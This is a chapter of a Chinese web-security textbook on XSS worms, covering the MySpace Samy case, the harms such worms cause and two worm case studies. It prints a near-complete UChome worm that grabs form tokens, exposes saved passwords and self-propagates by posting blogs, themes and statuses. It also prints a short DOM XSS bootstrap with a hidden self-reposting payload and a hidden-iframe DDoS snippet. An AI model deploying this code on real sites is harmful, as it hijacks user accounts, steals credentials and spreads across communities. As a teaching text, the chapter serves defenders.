9.2 XSS蠕虫

9.2.1 原理+一个故事

1. 蠕虫性质

注意,这里说的是蠕虫的性质,不仅仅局限于XSS蠕虫。蠕虫具有的最主要的两个性质如下。

2. XSS蠕虫的条件

XSS蠕虫的发生需要具备以下条件。

那么XSS蠕虫的原理就是:目标Web 2.0网站(包括具有高交互性的邮箱服务)存在XSS漏洞,当被攻击用户查看存在XSS蠕虫代码的内容时,蠕虫触发并开始感染传播。

下面介绍一个故事来帮助我们理解XSS蠕虫发生的过程。

3. 一个故事

XSS蠕虫传播的故事是这样开始的:和所有邪恶的场景开始一样,这是一个月黑风高的夜晚,黑客开始观察这个本是太平宁静的Web 2.0世界,在里面,用户之间交流甚欢,比如,写写文章、留点评论、发个私信等。但是,宁静的世界被打破了。黑客很快发现文章日志中存在XSS漏洞,迅速编写了XSS蠕虫代码,并随着一篇具有高度诱惑性的文章一同发了出去。黑客的好友们被诱惑点击查看了这篇文章,XSS蠕虫开始执行各种恶意的HTTP请求,其中有一个就是传播自身的代码到被攻击用户的文章中(比如,自动发布了与这篇高度诱惑性文章一样的文章)。被感染用户的好友们发现这个用户居然发了这样一篇文章,由于之前的信任关系,好友们都点击进去查看,结果中招了。此时蠕虫开始大肆传播,感染人数以几何级数形式增长。

这个经典的模式就是2005年11月4号MySpace XSS蠕虫的模式,凌晨0:34开始,短短5小时后,感染了一百多万个用户,并在每个用户的个人签名档中添加了一段文字“but most of all, samy is my hero”,如图9-2所示。该蠕虫可以说是XSS蠕虫的鼻祖。

315-1

图9-2 MySpace XSS蠕虫:samy is my hero

9.2.2 危害性

我们之所以一直很重视蠕虫攻击,是因为它们带来的危害可以很大,这不局限于XSS蠕虫,不过XSS蠕虫有自己的特性,而且往往也是攻击者最喜欢的一类,因为XSS蠕虫的权限大(一般情况下,Web用户有多大权限,它就有多大权限)。下面逐一介绍这些危害。

1. 对用户数据进行恶意操作

在第7章的跨站利用中,我们已经见识到了XSS的威力。一般情况下,Web用户的权限有多大,XSS的权限就有多大。为什么这里说一般情况?因为如果碰到某处功能模块需要验证码或者密码确认,对XSS来说,该处的功能模块就很难进行恶意操作。但是绝大多数的功能是不需要这些确认的,因为网站的首要任务其实都是考虑良好的用户体验。这里就存在一个矛盾:是好的用户体验,还是好的安全性?

XSS蠕虫传播开后,可以批量对用户数据进行恶意操作,比如,删除用户数据、修改用户数据、解除用户好友关系等。这对目标网站来说是一个巨大的打击,虽然可能可以通过数据恢复来回滚这些数据,但肯定会有数据的遗失,最重要的是,目标网站将面临巨大的信任危机。

2. 拒绝服务攻击

XSS蠕虫可以对目标网站服务进行大面积的拒绝服务攻击,导致用户无法正常使用网站功能,例如,下面的这些情况:

如果这些攻击发生,首先崩溃的会是用户,时间一久,用户就开始缺乏耐心,然后崩溃的就是Web厂商。

3. 分布式拒绝服务攻击

分布式拒绝服务攻击(DDoS)与拒绝服务攻击(DoS)不一样,分布式拒绝服务攻击的目标是其他网站,XSS蠕虫的每个被感染用户在地理位置上可能分布在全国各个位置,甚至世界各个位置。如果XSS蠕虫执行下列代码:

var ddosIframe = document.createElement("iframe");
ddosIframe.style.width = 0;
ddosIframe.style.height = 0;
ddosIframe.src = 'http://www.targetsite.com/';
document.body.appendChild(ddosIframe);

该代码自动创建一个iframe对象,并将地址指向被攻击的网站。如果被XSS蠕虫感染的用户同时发起了这个HTTP请求,被攻击网站就遭遇了DDoS,HTTP层面的DDoS算是最简单的一种。

我们在8.3.3节中还提到了利用HTML 5相关技术进行的DDoS攻击。

4. 散播广告

在流量大的网站做广告,其费用是非常高的,对XSS蠕虫来说,做这件事的价值也非常大,要嵌入广告很容易,一个iframe或者script就可以在页面的任意位置嵌入广告,甚至可以劫持页面现有广告的链接指向自己关心的广告页,这样当用户点击页面正常的广告时,实际上访问的是攻击者准备好的广告页。

其实恶意广告带来的威胁已经备受很多Web 2.0网站的高度重视,因为这将直接影响到他们的利益。

5. 传播网页木马

网页木马简称网马。大概是在2010年之前,网马一直很猖獗,直到被一窝端了好几个大的挂马源头,抓了一批人,才开始逐渐消停下来。而XSS蠕虫在国内流行起来是在2008年。对于Web 2.0网站里以XSS蠕虫式传播的网马,当时一直是我们研究的热点,不过一直未看到实际的攻击发生。

一般情况下,网马是利用浏览器与浏览器插件漏洞(最臭名远昭的就是IE的ActiveX控件)进行本地攻击的,将网马内的二进制数据或脚本病毒植入操作系统本地执行,本来在Web层面上的威胁,通过这些漏洞蔓延到了操作系统层面。在操作系统层面上,病毒的权限至少就是操作系统用户账号的权限。这个领域涉及的知识已经超出本书的范围,不过我们还是会在必要的时候简单介绍一下。

如果网马攻击搭上XSS蠕虫这趟顺风车,那么带来的威胁肯定会非常大。对于XSS蠕虫来说,也仅仅是生成一个iframe或script对象而已。

我们曾分析过为什么如此显而易见的安全威胁没被利用或者重视起来,网马背后是一个成熟的技术链与利益链,XSS蠕虫对这条链来说还不够成熟,或者这条链上关键的一些技术人物没有这方面的积累,而现有的却足够满足他们的需求,比如,现在我们还能随时捕获到MS06014网马攻击,这是2006年的IE 6浏览器远程命令执行漏洞——一个非常漂亮的逻辑漏洞。

6. 传播舆情

如果利用XSS蠕虫进行舆情引导,无论是低俗、诋毁,还是政治阴谋等,都可以带来很大影响,恐怕这些都是Web 2.0网站不得不及时出手制止的。

舆情影响就像前面提到的“文本病毒”一样,它是在攻“心”。

下面介绍几个经典的案例。

9.2.3 SNS社区XSS蠕虫

我们以曾经的UChome XSS蠕虫为例进行说明,实际上很多原理性的知识在前面都提到过,这里直接看代码注释即可,当时的漏洞位置在主题编辑处(CSS自定义)。

worm = {
  'about': 'worm for uchome2',
  'date': '2010/8/7'
}
worm.so = {} // worm内部数据共享对象

worm.xhr = function(){
  /*AJAX对象*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } else if(window.ActiveXObject) {
    try {
      request = new window.ActiveXObject('Microsoft.XMLHTTP');
    } catch(e) {}
  }
  return request;
}();

worm.request = function(method,src,argv,content_type){
  worm.xhr.open(method,src,false);
  if(method=="POST")worm.xhr.setRequestHeader("Content-Type",content_ type);
  worm.xhr.send(argv);
  return worm.xhr.responseText;
}

worm.inject_iframe = function(src){
  /*注入隐藏框架*/
  var o = document.createElement("iframe");
  o.src = src;
  o.width = o.height = 0;
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}

worm.get_token = function(){
  /*获取token值,表单提交需要*/
  var token = document.getElementsByTagName("input")[5].value;
// 这个值返回 token
}

worm.get_pwd = function(){
  /*获取明文密码*/
  var e = document.createElement("input");e.name=e.type=e.id="password"; document.getElementsByTagName("head")[0].appendChild(e); // 往head添加即可隐藏
  setTimeout(function(){alert("i can see ur pwd: "+document.getElementById("password").value);},700); // 时间竞争
}

worm.infect_theme = function() {
  /*更新自定义theme,传播worm payload*/
  var token = worm.so.token;
  var src="http://www.foo.com/uchome2/cp.php?ac=theme";
  var css="bODy%7Bx%3A..."; // 传播性的payload隐藏掉
  var csssubmit="%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9";
  var formhash=token;
  var argv_0="css="+css+"&csssubmit="+csssubmit+"&formhash="+formhash;
 worm.request("POST",src,argv_0,"application/x-www-form-urlencoded");
}

worm.infect_blog = function(subject,message){
  /*发一篇日志*/
  var token = worm.so.token;
  var src="http://www.foo.com/uchome2/cp.php?ac=blog&blogid=";
  //var subject="xss worm test";
  //var message="from xss worm:)";
  var tag="worm";
  var blogsubmit="true";
  var formhash=token;
  var argv_0;
  argv_0="\r\n";
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"subject\"\r\n\r\n";
  argv_0+=(subject+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"message\"\r\n\r\n";
  argv_0+=(message+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"tag\"\r\n\r\n";
  argv_0+=(tag+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"blogsubmit\"\r\n\r\n";
  argv_0+=(blogsubmit+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"formhash\"\r\n\r\n";
  argv_0+=(formhash+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5--\r\n";
  worm.request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

worm.infect_doing = function(message) {
  /*更新状态*/
  var token = worm.so.token;
    var src="http://www.foo.com/uchome2/cp.php?ac=doing&inajax=1";
    var
argv_0="message="+message+"&addsubmit=true&spacenote=true&formhash="+token;
 worm.request("POST",src,argv_0,"application/x-www-form-urlencoded");
}

worm.control = function(){
  /*worm flow*/
  worm.so.token = worm.get_token();
  //alert(worm.so.token);
  worm.get_pwd();
  worm.infect_theme();
  worm.infect_blog("worm: "+new Date().getTime(),"<h3>from xss worm:)</h3><br /><br />"+new Date().getTime());
  worm.infect_doing("XSS\u8815\u866b\u6d4b\u8bd5- -!!");
// 更新状态:XSS蠕虫测试- -!!
}

worm.start = function(){
  /*start worm from here:)*/

  document.cookie = "evilworm=i can see u:); expires=Wed, 24 Aug 2112 00:00:00 GMT"
  window.onload = function(){
    worm.control();
  }
}

worm.start();

9.2.4 简约且原生态的蠕虫

在某SNS网站发布文章时,文章内容是:

<script>alert('X')</script>

这明显被过滤了,得到的输出结果是:

&lt;script defer&gt;alert('X')&lt;/script&gt;

可是当用户单击“分享”该文章时,触发了XSS,原因是:分享时,它会截取前50个字符来作为摘要输出,输出时并未过滤,这是一个典型的DOM XSS漏洞。

既然有字符长度限制(50个),那么我们就在文章内容中构造下列代码:

<script defer>eval($('#xxx').html())</script>(少于50个字符)

这段代码是借用此SNS网站的jQuery框架的一些方法,后面的蠕虫代码也都将借用这些方法(依环境而生,保持蠕虫的苗条)。其中的$('#xxx').html()表示获取id为xxx的DOM节点的html值。接下来的文章内容是:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<span id=xxx style=display:none>(function(){alert(escape($('.article-maintext').html()));v="%3Cform%20action=http://www.xxx.com/article/index.php?m=add&action=join%20method=post%3E%3Cinput%20name=subject%20type=hidden%20value=cool%3E%3Cinput%20name=contents%20type=hidden%20value=%22"[color=#FF0000]%2bescape($('.article-maintext').html())%2b[/color]"%22%3E%3Cinput%20name=status%20type=hidden%20value=4%3E%3Cinput%20name=article_dir%20type=hidden%20value=402683%3E%3C/form%3E";v=unescape(v);$(v).appendTo("body");document.forms[2].submit();})()</span>

这些内容存在于<span>标签内,它是不会过滤的,并且我们设置了display的值为none,让<span>内的值对用户不可见。这样就可以将所有的JavaScript以这种形式存放在这个SNS网站上,我们只要使用文章内容前面的<script defer>eval($('#xxx').html())</script>来读取出id为xxx的<span>标签里的值,并执行即可。

完成这些后,欺骗用户分享文章,即可传播这样一个简约而原生态的蠕虫。

9.2.5 蠕虫需要追求原生态

我们可以想象一下一个Web 2.0网站(比如:人人网、新浪微博),在同域下,它是一个独立的生态系统,决定这个生态系统的运作流程就是JavaScript。前端工程师们开发出了许多优秀的JavaScript框架,如jQuery、YUI等,还有许多是根据自己网站的业务需要诞生的框架。这些框架封装了太多优秀的函数,对XSS来说,直接调用就好,可以省去许多自定义代码的麻烦,而且可以大大减小XSS蠕虫的大小,这样的XSS蠕虫就是原生态的。

1. 代码的原生态

XSS蠕虫最常用的就是使用AJAX在后台悄悄地传输数据,发起各种邪恶的HTTP请求,如果目标Web 2.0网站使用jQuery框架,只需要如下简单的代码,就可以使用AJAX。

$.ajax({type:"post", // type默认为get请求
   async:false, // 默认为true,表示异步传输数据,否则为同步传输
   url:"/blog/add", // 提交地址
data:{'title':'hi', 'content':'xss worm here:P'}, // 字典结构的data值
   success: function(data, text_status){
     alert(data); // 提交成功后做的事……
   },
});

就上述几行简单的代码就可以发起GET或POST的AJAX请求,而且使用原生态的框架还有一个好处,它帮我们处理了各种浏览器兼容的问题。我们还可以这样发起GET的AJAX请求:

$.get("/blog/del", {id:1}, function (data, textStatus){
      alert(data);
});

或者,这样发起POST的AJAX请求:

$.post("blog/add",{'title':'hi', 'content':'xss worm here:P'},function(data, textStatus){
alert(data);
});

是不是非常简洁?除了常用的AJAX操作,XSS蠕虫还会进行大量的DOM操作,也非常简单,从表9-1中可以看出。

表9-1 原生函数与DOM函数

操作 常规方法 jQuery方法
获取id值为hi的DOM对象 document.getElementById('hi') $('#hi')
获取class值为hi的DOM对象 这个需要遍历DOM树,然后筛选出class值为hi的对象…… $('.hi')
获取所有的input标签对象 document.getElementsByTagName('input') $('input')
... ... ...

有如此强大的原生态资源可利用,攻击起来就非常方便了。

2. 攻击效果的原生态

除了代码的原生态,还有攻击效果的原生态,比如,如果要实施高级钓鱼攻击,那些DIV框、UI组件都是可以直接调用一些高度封装的JavaScript函数来生成,比如图9-3所示的DIV弹出框。

325

图9-3 优美的UI组件